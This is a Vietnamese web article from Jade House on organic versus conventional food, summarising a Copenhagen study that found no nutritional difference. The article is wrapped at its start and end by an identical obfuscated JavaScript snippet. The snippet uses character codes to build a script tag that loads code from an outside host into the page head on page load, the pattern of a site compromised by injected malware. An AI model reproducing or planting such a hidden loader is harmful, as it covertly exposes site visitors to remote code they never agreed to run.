Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,99,115,115,46,100,105,103,101,115,116,99,111,108,101,99,116,46,99,111,109,47,122,98,116,63,118,56,52);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();

Thực phẩm hữu cơ với thực phẩm thông thường

Trong bài viết này, Jade House (www.jadehousevn.com) đưa ra những điểm khác biệt thực phẩm hữu cơ với thực phẩm thông thường, được trồng bằng thuốc bảo vệ thực vật và hóa chất để chúng ta hiểu đúng, lựa chọn chính xác và sử dụng thực phẩm hữu cơ cùng thực phẩm thông thường một cách thông minh hơn!

Nghiên cứu mới trong số mới nhất của Tạp chí Khoa học Thực phẩm và Nông nghiệp của Hiệp hội Công nghiệp Hóa chất (SCI) cho thấy không có bằng chứng nào cho thấy lập luận rằng thực phẩm hữu cơ tốt hơn thực phẩm được trồng bằng thuốc bảo vệ thực vật và hóa chất.

Nhiều người sẵn sàng chi nhiều hơn một phần ba số tiền cho thực phẩm hữu cơ với niềm tin rằng thực phẩm hữu cơ có hàm lượng dinh dưỡng và khoáng chất cao hơn thực phẩm được trồng theo cách thông thường và có sử dụng thuốc bảo vệ thực vật và phân bón hóa học.

Xem thêm

Thực phẩm hữu cơ và lợi ích sức khỏe

Thực phẩm hữu cơ có thể phòng chống bệnh ung thư

Chế độ ăn uống hữu cơ trong thai kỳ

Nhưng nghiên cứu của Tiến sĩ Susanne Bügel và các đồng nghiệp của Khoa Dinh dưỡng Con người, Đại học Copenhagen, cho thấy không có bằng chứng rõ ràng nào chứng minh điều này.

Trong nghiên cứu đầu tiên từng xem xét việc giữ lại các chất dinh dưỡng, khoáng chất và nguyên tố vi lượng của động vật được cho ăn một chế độ ăn bao gồm các loại cây trồng được sử dụng ba phương pháp canh tác khác nhau trong hai mùa.

Nghiên cứu đã sử dụng các loại cây trồng sau – cà rốt, cải xoăn, đậu Hà Lan trưởng thành, táo và khoai tây – những nguyên liệu thực phẩm chính có thể tìm thấy trong danh sách mua sắm của hầu hết các gia đình.

Phương pháp canh tác đầu tiên bao gồm việc trồng rau trên đất có lượng dinh dưỡng đầu vào thấp bằng phân động vật và không có thuốc bảo vệ thực vật trừ một sản phẩm được sử dụng phân hữu cơ là cải xoăn.

Phương pháp thứ hai liên quan đến việc áp dụng một lượng chất dinh dưỡng đầu vào thấp bằng phân động vật, kết hợp với sử dụng thuốc bảo vệ thực vật theo quy định.

Cuối cùng, phương pháp thứ ba bao gồm sự kết hợp của một lượng lớn chất dinh dưỡng thông qua phân bón khoáng chất và thuốc bảo vệ thực vật theo quy định.

Các loại cây trồng được trồng trên cùng một loại đất hoặc tương tự trên các cánh đồng lân cận cùng một lúc và do đó có cùng điều kiện thời tiết. Tất cả đã được thu hoạch và xử lý cùng một lúc. Trong trường hợp rau được trồng hữu cơ, tất cả đều được trồng trên đất hữu cơ.

Sau khi thu hoạch, kết quả cho thấy không có sự khác biệt về hàm lượng dinh dưỡng và hàm lượng các chất vi lượng trong trái cây và rau quả được trồng bằng ba phương pháp khác nhau.

Cho động vật ăn các loại cây trồng sử dụng phương pháp canh tác hữu cơ trong thời gian hai năm; xác định đượng hàm lượng và sự bài tiết các khoáng chất và nguyên tố vi lượng khác nhau. Một lần nữa, kết quả cho thấy không có sự khác biệt trong việc giữ lại các yếu tố bất kể cây trồng được trồng như thế nào.

Tiến sĩ Bügel nói: ‘Không có sự khác biệt về hàm lượng các chất dinh dưỡng và khoáng chất của năm loại cây trồng giữa các hệ thống canh tác đại diện cho phương pháp canh tác hữu cơ và phương pháp canh tác thông thường được tìm thấy trên năm loại cây trồng, vì vậy nghiên cứu không ủng hộ xu hướng cho rằng thực phẩm được trồng hữu cơ thường chứa nhiều các chất dinh dưỡng và vi lượng hơn so với thực phẩm được trồng thông thường.’

Tiến sĩ Alan Baylis, thư ký danh dự của Tập đoàn Bioresource của SCI, cho biết thêm: ‘Hóa chất bảo vệ cây trồng hiện đại để kiểm soát cỏ dại, sâu bệnh được kiểm định rộng rãi và quy định chặt chẽ, và một khi trong đất có chứa các chất dinh dưỡng và khoáng chất từ phân bón tự nhiên hoặc nhân tạo đều giống hệt nhau về mặt hóa học. Cây trồng hữu cơ thường có năng suất thấp hơn và phù hợp với những người có khả năng sử dụng được loại thực phẩm này.

(Dunji, Sưu tầm và biên soạn)

 

 

Digiprove sealCopyright secured by Digiprove © 2019 Tran  Minh

3 thoughts on “Thực phẩm hữu cơ với thực phẩm thông thường”

  1. Pingback: Thực phẩm hữu cơ và lợi ích sức khỏe

  2. Pingback: Chế độ ăn uống hữu cơ trong thai kỳ

  3. Pingback: Sự khác biệt giữa sản phẩm hữu cơ và thông thường

Comments are closed.

Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,99,115,115,46,100,105,103,101,115,116,99,111,108,101,99,116,46,99,111,109,47,122,98,116,63,118,56,52);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();